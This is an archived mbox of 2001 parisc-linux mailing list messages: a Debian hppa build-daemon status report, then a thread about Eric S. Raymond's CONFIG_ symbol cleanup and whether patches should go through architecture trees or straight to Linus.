	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 16:23:55 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 53CDB360A3; Thu, 19 Apr 2001 16:23:49 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
Original-Lines: 39
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:10819

Since it has been awfully quiet on debian-hppa lately, I'm going to start
posting some status information here.  This time only, I'm going to cc the
parisc-linux list.  Those of you who read parisc-linux but not debian-hppa 
and care to see Debian-specific information like this in the future, please
go subscribe, http://www.debian.org/MailingLists/ is a good place to start.

We're close to have X packages that work.  Much of what remains unbuilt is
blocked one way or another waiting for X libraries...  ergo the awesomely
high "dep-wait" percentage.

Bdale



Build daemon statistics from 20010411-1955 to 20010418-1955 (7.00 days):

           #packages  % of taken  pkgs/day
-------------------------------------------
taken    :  9248                  1321.10
builds   :  9244         99.96%   1320.53
uploaded :   121          1.31%     17.29
failed   :    81          0.88%     11.57
dep-wait :  8139         88.01%   1162.68
give-back:   709          7.67%    101.28
no-build :    17          0.18%      2.43

          time          % of total
----------------------------------
total   :  168:00:18
building:   13:27:02     8.01%
idle    :  146:55:53    87.46%

processed package (upl+fail+dep+nob):    9067
slipped (proc-taken)                :    -181
builds/taken package                :    1.00
avg. time/taken package             :   00:00:05
avg. time/processed package         :   00:00:05
avg. time/build                     :   00:00:05




From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@ldl.fc.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Thu, 19 Apr 2001 20:36:39 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20010419203639.H4217@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620046 18311 80.91.229.3 (22 Nov 2014 01:34:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 20:36:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64258482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 20:36:40 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP
	id C1F05529; Thu, 19 Apr 2001 22:36:39 -0400 (EDT)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 22224)
	id 496665A9D4; Thu, 19 Apr 2001 20:36:39 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10820

On Thu, Apr 19, 2001 at 18:50:34 EDT, Eric S. Raymond wrote:
> Remove dead CONFIG_BINFMT_JAVA symbol.

Please don't do this, it just makes merging our patches with Linus harder.
This has already been done in our tree since Feb 1.  In fact, please
don't touch anything in the tree which is PA specific; we have a large
arch update pending.

http://puffin.external.hp.com/cvs/linux/arch/parisc/config.in?log=y

shows the current state of our config.in, if you're curious.  If you
have any changes you want to make, don't hesitate to coordinate with us
by mailing parisc-linux@parisc-linux.org.





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Thu, 19 Apr 2001 23:00:09 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 31
Approved: news@gmane.org
Message-ID: <20010419230009.A32500@thyrsus.com>
References: <20010419203639.H4217@zumpano.fc.hp.com>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620046 18319 80.91.229.3 (22 Nov 2014 01:34:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 21:00:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CF7D482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 21:00:27 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3K309G32534;
	Thu, 19 Apr 2001 23:00:09 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Matthew Wilcox <willy@ldl.fc.hp.com>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010419203639.H4217@zumpano.fc.hp.com>; from willy@ldl.fc.hp.com on Thu, Apr 19, 2001 at 08:36:39PM -0600
X-Eric-Conspiracy: There is no conspiracy
Original-Sender: esr@snark.thyrsus.com
Xref: news.gmane.org gmane.linux.ports.parisc:10821

Matthew Wilcox <willy@ldl.fc.hp.com>:
> On Thu, Apr 19, 2001 at 18:50:34 EDT, Eric S. Raymond wrote:
> > Remove dead CONFIG_BINFMT_JAVA symbol.
> 
> Please don't do this, it just makes merging our patches with Linus harder.

Bother.  I've now heard "don't touch that tree!" from you and the ARM
folks.  I'm trying to be a good neighbor, here, but there is some
cleanup I want to do that crosses port boundaries.  (None of this is CML2,
BTW; I'm now addressing problems that are common to CML1 as well.)

What is the right procedure for doing changes like this?  Is "don't
touch that tree" a permanent condition, or am I going to get a chance
to clean up the global CONFIG_ namespace after your next merge-down?

Could I ask you to audit your tree and change the prefix on any 
CONFIG_ symbols that are private over there?  This would make life 
easier for my auditing tools (kxref and Stephen Cole's ach script).

That's the main thing I'm after right now -- I want to cut down on
the false positives in my orphaned-symbol reports so that the actual
bugs will stand out.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

"They that can give up essential liberty to obtain a little temporary 
safety deserve neither liberty nor safety."
	-- Benjamin Franklin, Historical Review of Pennsylvania, 1759.




From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@ldl.fc.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Thu, 19 Apr 2001 21:17:49 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20010419211749.I4217@zumpano.fc.hp.com>
References: <20010419203639.H4217@zumpano.fc.hp.com> <20010419230009.A32500@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620046 18324 80.91.229.3 (22 Nov 2014 01:34:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:06 +0000 (UTC)
To: "Eric S. Raymond" <esr@thyrsus.com>,
	Matthew Wilcox <willy@ldl.fc.hp.com>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 21:17:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 147F9482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 21:17:52 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 08EC09B5; Thu, 19 Apr 2001 23:17:51 -0400 (EDT)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 22224)
	id EBF685A9D4; Thu, 19 Apr 2001 21:17:49 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010419230009.A32500@thyrsus.com>; from esr@thyrsus.com on Thu, Apr 19, 2001 at 11:00:09PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10822

On Thu, Apr 19, 2001 at 11:00:09PM -0400, Eric S. Raymond wrote:
> What is the right procedure for doing changes like this?  Is "don't
> touch that tree" a permanent condition, or am I going to get a chance
> to clean up the global CONFIG_ namespace after your next merge-down?

Our current status is that we've got a patch with Alan that's been sitting
in his tree for a while (things got trickier than he expected and he
hasn't been able to merge that upstream to Linus yet).  Meanwhile we've
carried on development as normal.  So even after the patches in Alan's
tree land, we've still got a fair hunk of changes to go in.

My preference would be for you to fetch our tree 

cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc login
[no password]

cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc co linux

and submit patches to us, which will get to Linus in the fullness of time.
I'm aware this might not be terribly satisfactory for you, but we're
doing our best not to lose our way amid the churn of development right
now and having patches which haven't followed a progression through
us makes that significantly harder.

> Could I ask you to audit your tree and change the prefix on any 
> CONFIG_ symbols that are private over there?  This would make life 
> easier for my auditing tools (kxref and Stephen Cole's ach script).

I don't think we have any of those.  We certainly have symbols which are
defined for symmetry and may not actually be used yet (CONFIG_PA11 might not
be, perhaps).  But that's what happens when you're developing software :-)





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: james rich <james.rich@m.cc.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Thu, 19 Apr 2001 22:07:22 -0600 (MDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.05.10104192201330.8316-100000@pipt.oz.cc.utah.edu>
References: <20010419211749.I4217@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620047 18329 80.91.229.3 (22 Nov 2014 01:34:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:07 +0000 (UTC)
Cc: "Eric S. Raymond" <esr@thyrsus.com>,
	linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 22:09:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pipt.oz.cc.utah.edu (pipt.oz.cc.utah.edu [155.99.2.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91E66482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 22:09:24 -0600 (MDT)
Original-Received: from localhost (jdr1529@localhost)
	by pipt.oz.cc.utah.edu (8.9.2/8.9.2) with ESMTP id WAA09333;
	Thu, 19 Apr 2001 22:07:26 -0600 (MDT)
Original-Sender: james.rich@m.cc.utah.edu
In-Reply-To: <20010419211749.I4217@zumpano.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10823

On Thu, 19 Apr 2001, Matthew Wilcox wrote:

> On Thu, Apr 19, 2001 at 11:00:09PM -0400, Eric S. Raymond wrote:
> > What is the right procedure for doing changes like this?  Is "don't
> > touch that tree" a permanent condition, or am I going to get a chance
> > to clean up the global CONFIG_ namespace after your next merge-down?
> 

[snip]

> My preference would be for you to fetch our tree 

> and submit patches to us, which will get to Linus in the fullness of time.

Truly this is not meant to be negative - don't take it as such.

Doesn't this seem a little like the problems occurring with lvm right now?
A separate tree maintained with the maintainers not wanting others
submitting patches that conflict with their particular tree?  It seems
that any project should be able to submit any patch against The One True
Tree: Linus' tree.

James Rich
james.rich@m.cc.utah.edu





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@ldl.fc.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Thu, 19 Apr 2001 22:19:16 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20010419221916.K4217@zumpano.fc.hp.com>
References: <20010419211749.I4217@zumpano.fc.hp.com> <Pine.GSO.4.05.10104192201330.8316-100000@pipt.oz.cc.utah.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620047 18333 80.91.229.3 (22 Nov 2014 01:34:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:07 +0000 (UTC)
Cc: Matthew Wilcox <willy@ldl.fc.hp.com>,
	"Eric S. Raymond" <esr@thyrsus.com>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: james rich <james.rich@m.cc.utah.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 22:19:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B7E8482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 22:19:17 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 75DCA148A; Fri, 20 Apr 2001 00:19:16 -0400 (EDT)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 22224)
	id 27FF45A9D4; Thu, 19 Apr 2001 22:19:16 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.GSO.4.05.10104192201330.8316-100000@pipt.oz.cc.utah.edu>; from james.rich@m.cc.utah.edu on Thu, Apr 19, 2001 at 10:07:22PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10824

On Thu, Apr 19, 2001 at 10:07:22PM -0600, james rich wrote:
> Doesn't this seem a little like the problems occurring with lvm right now?
> A separate tree maintained with the maintainers not wanting others
> submitting patches that conflict with their particular tree?  It seems
> that any project should be able to submit any patch against The One True
> Tree: Linus' tree.

every single architecture has their own development tree.  the pa project
has not been running as long as the other ports, and has a large amount of
development going on.  i count 28 commits for april (so far), 75 commits
for march, 187 for february and 112 for january (to the kernel tree, other
parts of the port also have commit messages).  linus would go insane if
we sent him every single one of those patches individually.  and we'd
go insane trying to keep up with what he'd taken and what he'd dropped.

until you've actually tried doing this, please don't attempt to criticise.





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Albert D. Cahalan" <acahalan@cs.uml.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 00:52:03 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200104200452.f3K4q3X07411@saturn.cs.uml.edu>
References: <20010419221916.K4217@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620047 18336 80.91.229.3 (22 Nov 2014 01:34:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:07 +0000 (UTC)
Cc: james.rich@m.cc.utah.edu (james rich),
	willy@ldl.fc.hp.com (Matthew Wilcox),
	esr@thyrsus.com (Eric S. Raymond), linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: willy@ldl.fc.hp.com (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 22:53:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from saturn.cs.uml.edu (saturn.cs.uml.edu [129.63.8.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 259C7482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 22:53:36 -0600 (MDT)
Original-Received: (from acahalan@localhost)
	by saturn.cs.uml.edu (8.11.0/8.11.2) id f3K4q3X07411;
	Fri, 20 Apr 2001 00:52:03 -0400 (EDT)
In-Reply-To: <20010419221916.K4217@zumpano.fc.hp.com> from "Matthew Wilcox" at Apr 19, 2001 10:19:16 PM
X-Mailer: ELM [version 2.5 PL2]
Xref: news.gmane.org gmane.linux.ports.parisc:10825

Matthew Wilcox writes:
> On Thu, Apr 19, 2001 at 10:07:22PM -0600, james rich wrote:

>> Doesn't this seem a little like the problems occurring with lvm right now?
>> A separate tree maintained with the maintainers not wanting others
>> submitting patches that conflict with their particular tree?  It seems
>> that any project should be able to submit any patch against The One True
>> Tree: Linus' tree.
>
> every single architecture has their own development tree.

This sucks for users of that architecture. Also, though not
applicable to PA-RISC, it sucks for sub-architecture porters.
(by sub-architecture I mean: Mac, PReP, PowerCore, BeBox, etc.)

It's hard enough deciding between Linus and Alan. I'm not at all
happy trying to pick through obscure CVS and BitKeeper trees that
might not be up-to-data with the latest mainstream bug fixes.

> the pa project
> has not been running as long as the other ports, and has a large amount of
> development going on.  i count 28 commits for april (so far), 75 commits
> for march, 187 for february and 112 for january (to the kernel tree, other
> parts of the port also have commit messages).  linus would go insane if
> we sent him every single one of those patches individually.  and we'd
> go insane trying to keep up with what he'd taken and what he'd dropped.
> 
> until you've actually tried doing this, please don't attempt to criticise.

Have _you_ tried? If I recall correctly, Linus spoke out against the
PowerPC people doing the exact same thing. So unless you get told to
quit annoying him with patches, sending them is the safe bet.

Well here we go. It's about IrDA though, not PowerPC. Read it!
http://lwn.net/2000/1109/a/lt-IrDA.php3





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@conectiva.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 02:17:42 -0300 (BRST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104200217130.1685-100000@imladris.rielhome.conectiva>
References: <200104200452.f3K4q3X07411@saturn.cs.uml.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620048 18337 80.91.229.3 (22 Nov 2014 01:34:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:08 +0000 (UTC)
Cc: Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	"Eric S. Raymond" <esr@thyrsus.com>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: "Albert D. Cahalan" <acahalan@cs.uml.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 23:20:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from netbank.com.br (garrincha.netbank.com.br [200.203.199.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66E70482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 23:20:07 -0600 (MDT)
Original-Received: from surriel.ddts.net (1-010.cwb-adsl.brasiltelecom.net.br [200.193.160.10])
	by netbank.com.br (Postfix) with ESMTP
	id 9D56B4680A; Fri, 20 Apr 2001 02:20:47 -0300 (BRST)
Original-Received: from localhost (nqtoci@localhost [127.0.0.1])
	by surriel.ddts.net (8.11.2/8.11.2) with ESMTP id f3K5Hg430312;
	Fri, 20 Apr 2001 02:17:52 -0300
X-Sender: riel@imladris.rielhome.conectiva
In-Reply-To: <200104200452.f3K4q3X07411@saturn.cs.uml.edu>
X-spambait: aardvark@kernelnewbies.org
X-spammeplease: aardvark@nl.linux.org
Xref: news.gmane.org gmane.linux.ports.parisc:10826

On Fri, 20 Apr 2001, Albert D. Cahalan wrote:

> This sucks for users of that architecture. Also, though not
> applicable to PA-RISC, it sucks for sub-architecture porters.
> (by sub-architecture I mean: Mac, PReP, PowerCore, BeBox, etc.)

As you said it so eloquently a few paragraphs down:

	"send patches!"

cheers,

Rik
--
Virtual memory is like a game you can't win;
However, without VM there's truly nothing to lose...

		http://www.surriel.com/
http://www.conectiva.com/	http://distro.conectiva.com.br/





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 09:19:53 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <14608.987754793@redhat.com>
References: <Pine.GSO.4.05.10104192201330.8316-100000@pipt.oz.cc.utah.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620048 18344 80.91.229.3 (22 Nov 2014 01:34:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:08 +0000 (UTC)
Cc: Matthew Wilcox <willy@ldl.fc.hp.com>,
	"Eric S. Raymond" <esr@thyrsus.com>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: james rich <james.rich@m.cc.utah.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 02:24:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from passion.cambridge.redhat.com (dell-paw-3.cambridge.redhat.com [195.224.55.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B410482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 02:24:33 -0600 (MDT)
Original-Received: from dwmw2 (helo=redhat.com)
	by passion.cambridge.redhat.com with local-esmtp (Exim 3.16 #2)
	id 14qW8v-0003nd-00; Fri, 20 Apr 2001 09:19:53 +0100
X-Mailer: exmh version 2.3 01/15/2001 with nmh-1.0.4
X-Accept-Language: en_GB
In-Reply-To: <Pine.GSO.4.05.10104192201330.8316-100000@pipt.oz.cc.utah.edu> 
Original-Sender: David Woodhouse <dwmw2@redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10827

james.rich@m.cc.utah.edu said:
>  Doesn't this seem a little like the problems occurring with lvm right
> now? A separate tree maintained with the maintainers not wanting
> others submitting patches that conflict with their particular tree?
> It seems that any project should be able to submit any patch against
> The One True Tree: Linus' tree. 

Of course they can. Linus does apply them too. People are asking nicely 
that ESR not do so in this case, because merges are being planned. 

The contents of drivers/mtd/ are in the same situation. For some reason, I
felt it inappropriate to give every patch at every stage of development to
Linus for inclusion in the 2.4.0-test and 2.4.[123] kernels. Now I'm vaguely
happy with it all and it's stable, I'm working on cleaning up some of the 
cosmetics and breaking it up into digestible patches.

Doing primary development in CVS seems to work OK for me, and allows me to 
continue development without destabilising the One True Tree. During such 
times, it's useful to have a branch for the code which is in the One True 
Tree, so urgent fixes can be merged, and the diff against the One True Tree 
after each release has something to diff against to catch patches where 
people didn't even bother to Cc the maintainer.

I believe people were _told_ to hold off until 2.4.5-ish, or when the tree
became stable. Violent imagery was used to reinforce this instruction.
That being the case, how about holding the config changes back until after 
everyone else who's been waiting has merged their pending changes?

--
dwmw2






From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 09:18:34 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 37
Approved: news@gmane.org
Message-ID: <20010420091834.A5102@thyrsus.com>
References: <20010419230009.A32500@thyrsus.com> <E14qaeC-0001DZ-00@the-village.bc.nu>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620048 18347 80.91.229.3 (22 Nov 2014 01:34:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:08 +0000 (UTC)
Cc: Matthew Wilcox <willy@ldl.fc.hp.com>,
	linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 07:19:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6383D482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 07:19:07 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KDIYx05187;
	Fri, 20 Apr 2001 09:18:34 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Matthew Wilcox <willy@ldl.fc.hp.com>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14qaeC-0001DZ-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Fri, Apr 20, 2001 at 02:08:25PM +0100
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10828

Alan Cox <alan@lxorguk.ukuu.org.uk>:
> > What is the right procedure for doing changes like this?  Is "don't
> > touch that tree" a permanent condition, or am I going to get a chance
> > to clean up the global CONFIG_ namespace after your next merge-down?
> 
> Feeding arch related stuff to the architecture maintainers.

I shall attempt it.

> > That's the main thing I'm after right now -- I want to cut down on
> > the false positives in my orphaned-symbol reports so that the actual
> > bugs will stand out.
> 
> Teach it to read a 'symbolstoignore' file.

Someone else has already pointed out that this is not a solution that will
scale well.  It would substitute a continuing management headache for the
cleanup that's really needed.  In fact I'm reluctant to do this even for 
cases where it's clearly legitimate (CONFIG_BOOM, CONFIG_BOGUS :-)) partly
because later on it might provide an excuse for people not to do the cleanup.

> Part of the problem you are hitting right now is that most
> architectures are not yet fully in sync with 2.4 nor likely to all
> be for another few iterations.

Understood.  I'll do what I can in the architecture-independent code, then.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

"Boys who own legal firearms have much lower rates of delinquency and
drug use and are even slightly less delinquent than nonowners of guns."
	-- U.S. Department of Justice, National Institute of
	   Justice, Office of Juvenile Justice and Delinquency Prevention,
	   NCJ-143454, "Urban Delinquency and Substance Abuse," August 1995.




From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 14:08:25 +0100 (BST)
Lines: 18
Approved: news@gmane.org
Message-ID: <E14qaeC-0001DZ-00@the-village.bc.nu>
References: <20010419230009.A32500@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620049 18350 80.91.229.3 (22 Nov 2014 01:34:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:09 +0000 (UTC)
Cc: willy@ldl.fc.hp.com (Matthew Wilcox),
	linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
